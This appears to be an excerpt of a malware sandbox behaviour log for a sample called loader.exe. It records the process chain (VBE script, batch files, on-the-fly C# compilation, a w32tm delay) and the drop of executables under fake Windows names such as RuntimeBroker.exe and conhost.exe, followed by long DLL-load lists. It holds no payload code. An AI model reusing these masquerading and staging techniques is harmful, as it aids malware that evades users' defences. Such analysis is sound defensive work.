Source: unknown	Process created: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe "C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe "C:\ServerWinRuntimeBroker/chainPorthostCommon.exe"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF2D.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC121.tmp" "c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\LiveKernelReports\RuntimeBroker.exe "C:\Windows\LiveKernelReports\RuntimeBroker.exe"	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: mscoree.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: version.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: wldp.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: profapi.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Section loaded: sspicli.dll
Source: C:\Recovery\conhost.exe	Section loaded: mscoree.dll
Source: C:\Recovery\conhost.exe	Section loaded: apphelp.dll
Source: C:\Recovery\conhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\conhost.exe	Section loaded: version.dll
Source: C:\Recovery\conhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\conhost.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\conhost.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\conhost.exe	Section loaded: wldp.dll
Source: C:\Recovery\conhost.exe	Section loaded: profapi.dll
Source: C:\Recovery\conhost.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\conhost.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\conhost.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\conhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: mscoree.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: apphelp.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: version.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: wldp.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: profapi.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Section loaded: sspicli.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: mscoree.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: kernel.appcore.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: version.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Section loaded: ucrtbase_clr0400.dll
